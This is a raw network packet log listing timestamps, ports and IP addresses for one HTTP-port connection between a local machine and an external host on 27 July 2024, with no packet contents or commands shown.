Jul 27, 2024 09:25:05.731108904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731117964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731132030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731149912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731177092 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731199980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731201887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731240988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731254101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731293917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731311083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731328964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731362104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731363058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731380939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731395960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731421947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731431961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731446028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731466055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731492043 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731501102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731517076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731534958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731561899 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731570959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731585979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731605053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731625080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731640100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731656075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731673002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731688023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731705904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731731892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731734991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731761932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731767893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731786013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731818914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731822014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731852055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731875896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731885910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731903076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731921911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731935978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731956959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.731975079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.731988907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732019901 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732023001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732038975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732055902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732073069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732089043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732120037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732121944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732137918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732155085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732184887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732189894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732218027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732222080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732237101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732254982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732283115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732286930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732302904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732321024 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732347965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732355118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732372046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732405901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732410908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732438087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732453108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732475996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732512951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732538939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732558012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732583046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732587099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732634068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732667923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732673883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732695103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732702017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732728958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732736111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732748032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732783079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732784033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732817888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732841969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732851982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732867956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732887030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732913017 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732937098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732938051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.732970953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.732995033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733020067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733021975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733052969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733078003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733083963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733109951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733119011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733134031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733139992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733150959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733165979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733175039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733181953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733191013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733198881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733210087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733215094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733233929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733234882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733257055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733269930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733274937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733289003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733289957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733310938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733319044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733335972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733355999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733527899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733544111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733557940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733573914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733576059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733588934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733597040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733603954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733612061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733619928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733634949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733637094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733637094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733650923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733663082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733663082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733669996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733683109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733685017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733707905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733707905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733726025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733931065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733944893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733961105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733977079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733979940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.733992100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.733999968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734006882 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734014988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734023094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734038115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734041929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734041929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734054089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734061003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734071016 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734086990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734087944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734086990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734102964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734112978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734112978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734117985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734133959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734132051 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734149933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734155893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734180927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734180927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734199047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734548092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734564066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734579086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734594107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734596014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734610081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734618902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734625101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734637976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734641075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734658003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.734658003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734683037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.734700918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828335047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828403950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828439951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828439951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828473091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828474998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828502893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828526974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828566074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828600883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828613997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828634977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828644037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828666925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828685045 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828701019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828710079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828733921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828747034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828768969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828778028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828800917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828814030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828834057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828845024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828866959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828882933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828905106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828907013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828954935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828957081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.828989029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.828998089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829026937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829034090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829060078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829076052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829092026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829103947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829124928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829134941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829158068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829173088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829193115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829204082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829225063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829235077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829257965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829272985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829289913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829303026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829323053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829333067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829356909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829372883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829389095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829396963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829421997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829436064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829453945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829467058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829487085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829504013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829519987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829528093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829554081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829567909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829595089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829598904 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829642057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829643965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829678059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829691887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829710960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829720974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829745054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829761028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829778910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829794884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829814911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829827070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829848051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829864025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829879999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829889059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829914093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829924107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829946041 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829962015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.829978943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.829987049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830012083 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830022097 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830044985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830060959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830076933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830085039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830110073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830120087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830142021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830157042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830173969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830187082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830207109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830216885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830236912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830250978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830271006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830279112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830302954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830313921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830337048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830351114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830369949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830382109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830403090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830411911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830436945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830454111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830470085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.830477953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.830513000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.949610949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.954709053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.131995916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132051945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132107973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132142067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132175922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132209063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132219076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132220030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132220030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132220030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:06.132245064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:06.132277966 CEST	80	49704	85.28.47.31	192.168.2.5
